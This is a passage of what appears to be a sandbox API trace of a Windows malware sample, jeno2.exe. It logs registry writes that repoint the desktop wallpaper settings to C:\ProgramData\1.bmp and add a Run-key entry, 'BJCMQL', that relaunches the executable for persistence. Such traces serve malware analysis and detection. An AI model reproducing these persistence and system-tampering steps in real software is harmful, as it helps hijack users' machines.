cbMultiByte=2, lpWideCharStr=0x14f560c, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0176.181] RegFlushKey (hKey=0x720) returned 0x0 [0176.362] GetLastError () returned 0x0 [0176.362] RegCloseKey (hKey=0x720) returned 0x0 [0176.363] GetLastError () returned 0x0 [0176.363] SysStringLen (param_1="S-1-5-19\\Control Panel\\Desktop") returned 0x1e [0176.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.363] SysStringLen (param_1="S-1-5-19\\Control Panel\\Desktop") returned 0x1e [0176.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-19\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.363] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-19\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.363] GetLastError () returned 0x0 [0176.363] SysStringByteLen (bstr="ⵓⴱⴵ㤱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.364] SysStringByteLen (bstr="ⵓⴱⴵ㤱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpWideCharStr=0x1445ffc, cchWideChar=61 | out: lpWideCharStr="S-1-5-19\\Control Panel\\Desktop") returned 31 [0176.364] SysStringLen (param_1="10") returned 0x2 [0176.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0176.364] SysStringLen (param_1="10") returned 0x2 [0176.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=3, lpMultiByteStr=0x1452454, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10", lpUsedDefaultChar=0x0) returned 3 [0176.364] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.364] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f5b84, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0176.364] RegSetValueExA (in: hKey=0x720, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData="10", cbData=0x2 | out: lpData="10") returned 0x0 [0176.364] GetLastError () returned 0x0 [0176.364] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0176.364] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=15, lpWideCharStr=0x14b4f74, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0176.364] SysStringByteLen (bstr="〱") returned 0x2 [0176.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=2, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0176.365] SysStringByteLen (bstr="〱") returned 0x2 [0176.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=3, lpWideCharStr=0x14f5e2c, cchWideChar=5 | out: lpWideCharStr="10") returned 3 [0176.365] RegFlushKey (hKey=0x720) returned 0x0 [0176.366] GetLastError () returned 0x0 [0176.366] RegCloseKey (hKey=0x720) returned 0x0 [0176.366] GetLastError () returned 0x0 [0176.366] SysStringLen (param_1="S-1-5-19\\Control Panel\\Desktop") returned 0x1e [0176.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.366] SysStringLen (param_1="S-1-5-19\\Control Panel\\Desktop") returned 0x1e [0176.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-19\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.366] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-19\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.366] GetLastError () returned 0x0 [0176.366] SysStringByteLen (bstr="ⵓⴱⴵ㤱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.367] SysStringByteLen (bstr="ⵓⴱⴵ㤱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpWideCharStr=0x1446d5c, cchWideChar=61 | out: lpWideCharStr="S-1-5-19\\Control Panel\\Desktop") returned 31 [0176.367] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.367] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5e2c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.367] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.367] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x1452454, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0176.367] RegSetValueExA (in: hKey=0x720, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.368] GetLastError () returned 0x0 [0176.368] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0176.368] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=10, lpWideCharStr=0x14f5b84, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0176.368] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.368] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=21, lpWideCharStr=0x14b4f74, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.368] RegFlushKey (hKey=0x720) returned 0x0 [0176.561] GetLastError () returned 0x0 [0176.561] RegCloseKey (hKey=0x720) returned 0x0 [0176.561] GetLastError () returned 0x0 [0176.561] SysStringLen (param_1="S-1-5-19\\Control Panel\\Desktop") returned 0x1e [0176.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.561] SysStringLen (param_1="S-1-5-19\\Control Panel\\Desktop") returned 0x1e [0176.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x143353c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-19\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.561] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-19\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.561] GetLastError () returned 0x0 [0176.561] SysStringByteLen (bstr="ⵓⴱⴵ㤱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143353c, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.561] SysStringByteLen (bstr="ⵓⴱⴵ㤱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143353c, cbMultiByte=31, lpWideCharStr=0x1445ffc, cchWideChar=61 | out: lpWideCharStr="S-1-5-19\\Control Panel\\Desktop") returned 31 [0176.562] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.562] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5e2c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.562] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0176.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.562] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0176.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=18, lpMultiByteStr=0x14f5b84, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OriginalWallpaper", lpUsedDefaultChar=0x0) returned 18 [0176.562] RegSetValueExA (in: hKey=0x720, lpValueName="OriginalWallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.562] GetLastError () returned 0x0 [0176.562] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0176.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0176.562] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0176.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=18, lpWideCharStr=0x143353c, cchWideChar=35 | out: lpWideCharStr="OriginalWallpaper") returned 18 [0176.562] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.562] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=21, lpWideCharStr=0x14b4f74, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.562] RegFlushKey (hKey=0x720) returned 0x0 [0176.573] GetLastError () returned 0x0 [0176.574] RegCloseKey (hKey=0x720) returned 0x0 [0176.574] GetLastError () returned 0x0 [0176.574] SysStringLen (param_1="S-1-5-19\\Control Panel\\Desktop") returned 0x1e [0176.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.574] SysStringLen (param_1="S-1-5-19\\Control Panel\\Desktop") returned 0x1e [0176.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b4c5c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-19\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.574] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-19\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.574] GetLastError () returned 0x0 [0176.574] SysStringByteLen (bstr="ⵓⴱⴵ㤱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.574] SysStringByteLen (bstr="ⵓⴱⴵ㤱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=31, lpWideCharStr=0x1446d5c, cchWideChar=61 | out: lpWideCharStr="S-1-5-19\\Control Panel\\Desktop") returned 31 [0176.574] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.574] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.575] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0176.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.575] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0176.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=19, lpMultiByteStr=0x14f5e2c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConvertedWallpaper", lpUsedDefaultChar=0x0) returned 19 [0176.575] RegSetValueExA (in: hKey=0x720, lpValueName="ConvertedWallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.575] GetLastError () returned 0x0 [0176.575] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0176.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=18, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0176.575] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0176.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=19, lpWideCharStr=0x14b4c5c, cchWideChar=37 | out: lpWideCharStr="ConvertedWallpaper") returned 19 [0176.575] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.575] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpWideCharStr=0x14b4f74, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.575] RegFlushKey (hKey=0x720) returned 0x0 [0176.587] GetLastError () returned 0x0 [0176.587] RegCloseKey (hKey=0x720) returned 0x0 [0176.587] GetLastError () returned 0x0 [0176.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x1452454, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0176.587] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0176.587] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.587] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0176.587] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0176.587] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0176.587] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.588] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0176.588] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0176.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0176.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x14b4c5c, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0176.588] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f50 | out: hHeap=0x3820000) returned 1 [0176.588] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0176.588] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.588] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0176.588] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0176.588] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0176.588] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.588] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0176.588] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0176.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0176.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x14f5e2c, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0176.588] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383e150 | out: hHeap=0x3820000) returned 1 [0176.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x14f5b84, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0176.588] VarCat (in: pvarLeft=0x18ecdc, pvarRight=0x18eccc, pvarResult=0x18ecbc | out: pvarResult=0x18ecbc) returned 0x0 [0176.588] VarCat (in: pvarLeft=0x18ecbc, pvarRight=0x18ec3c, pvarResult=0x18ecac | out: pvarResult=0x18ecac) returned 0x0 [0176.589] VarCat (in: pvarLeft=0x18ecac, pvarRight=0x18ec9c, pvarResult=0x18ec8c | out: pvarResult=0x18ec8c) returned 0x0 [0176.589] VarCat (in: pvarLeft=0x18ec8c, pvarRight=0x18ec2c, pvarResult=0x18ec7c | out: pvarResult=0x18ec7c) returned 0x0 [0176.589] VarCat (in: pvarLeft=0x18ec7c, pvarRight=0x18ec6c, pvarResult=0x18ec5c | out: pvarResult=0x18ec5c) returned 0x0 [0176.589] VarCat (in: pvarLeft=0x18ec5c, pvarRight=0x18ec1c, pvarResult=0x18ec4c | out: pvarResult=0x18ec4c) returned 0x0 [0176.589] SysStringLen (param_1="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x36 [0176.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0176.589] SysStringLen (param_1="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x36 [0176.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=55, lpMultiByteStr=0x14b48fc, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", lpUsedDefaultChar=0x0) returned 55 [0176.589] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.589] GetLastError () returned 0x0 [0176.589] SysStringByteLen (bstr="ⵓⴱⴵ㤱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x36 [0176.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=54, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0176.589] SysStringByteLen (bstr="ⵓⴱⴵ㤱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x36 [0176.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=55, lpWideCharStr=0x144265c, cchWideChar=109 | out: lpWideCharStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 55 [0176.589] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0176.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.590] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0176.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=31, lpMultiByteStr=0x14b48fc, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\jeno2.exe\" -ui", lpUsedDefaultChar=0x0) returned 31 [0176.590] SysStringLen (param_1="BJCMQL") returned 0x6 [0176.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.590] SysStringLen (param_1="BJCMQL") returned 0x6 [0176.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=7, lpMultiByteStr=0x53a5384, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BJCMQL", lpUsedDefaultChar=0x0) returned 7 [0176.590] RegSetValueExA (in: hKey=0x720, lpValueName="BJCMQL", Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\jeno2.exe\" -ui", cbData=0x1e | out: lpData="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 